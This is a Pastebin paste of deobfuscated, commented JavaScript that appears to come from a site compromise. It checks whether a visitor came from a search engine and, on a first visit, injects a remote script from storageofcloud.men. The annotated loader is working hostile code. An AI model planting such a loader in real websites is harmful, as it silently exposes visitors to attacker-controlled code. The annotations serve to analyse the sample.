Advertisement
Guest User

Untitled

a guest
Jan 28th, 2025
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function include(url) { // injects provided code into head
  2.     var el = document.createElement('script');
  3.     el.src = url;
  4.     document.getElementsByTagName('head')[0].appendChild(el);
  5. }
  6.  
  7. var cookie = { get(name) { // returns all cookies (as key-value object) or a specific value (if key is passed)
  8.     var list = document.cookie.match(/[\w-]+=.*?(?:$|;)/g), cookies = {};
  9.     if (!list && name) {
  10.         return undefined;
  11.     }
  12.     for (var i = 0; i < list.length; i++) {
  13.         var pair = list[i].split('=');
  14.         cookies[pair[0]] = pair[1].replace(/;$/);
  15.     }
  16.     return name ? cookies[name] : cookies;
  17. }, set(name, value, expires, path, domain, secure) { // adds a new cookie (expires is specified in half-weeks, i.e. expires=2 means one week)
  18.     var cookie = name + '=' + escape(value);
  19.     if (expires) cookie += '; expires=' + new Date(Date.now() + expires * 0x3e8);
  20.     if (path) cookie += '; path=' + path;
  21.     if (domain) cookie += '; domain=' + domain;
  22.     if (secure) cookie += '; secure';
  23.     document.cookie = cookie;
  24. } };
  25.  
  26. var q = 'ヴァンピィ+コスプレ+ホン'; // translates as 'Vampy Cosplay Hon' (spaces are replaced with pluses)?
  27.  
  28. var HPDrm = 'uwp';
  29.  
  30. // checks if was visited from Google, Bing, Yahoo, AOL, Ask, AltaVista or Yandex
  31. var domains = ['.google.', '.bing.', '.yahoo.', '.aol.', '.ask.', '.altavista.', '.yandex.'];
  32. var referrer = document.referrer, found = false, visited = cookie.get('visited');
  33. for (var i = 0; i < domains.length; i++) {
  34.     if (HPDrm !== HPDrm) { // this code is never executed (possibly it's a some kind of switch), url is never set and unknown
  35.         include(url);
  36.     } else {
  37.         if (referrer.indexOf(domains[i]) >= 0) {
  38.             found = true;
  39.         }
  40.     }
  41. }
  42.  
  43. var nSqNV = 'xBy', iecZQ = 'ytA';
  44.  
  45. // if was visited from one of these search engines and user has never visited this site before, inject another script
  46. if (found) {
  47.     cookie.set('visited', 1, 1);
  48.     if (!visited) {
  49.         if (nSqNV === iecZQ) { // this code is similarly never executed
  50.             cookie.set(name, value, expires, path, domain, secure);
  51.         } else {
  52.             include('https://storageofcloud.men/jp-shmotki.php?&query=' + q);
  53.         }
  54.     }
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement